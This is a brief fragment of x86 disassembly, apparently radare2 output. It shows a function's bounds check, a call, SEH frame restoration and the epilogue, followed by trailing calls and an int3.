add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4296a7
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov eax, dword [ebp - 0x11c]
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.004fceb0
call fcn.00402390
int3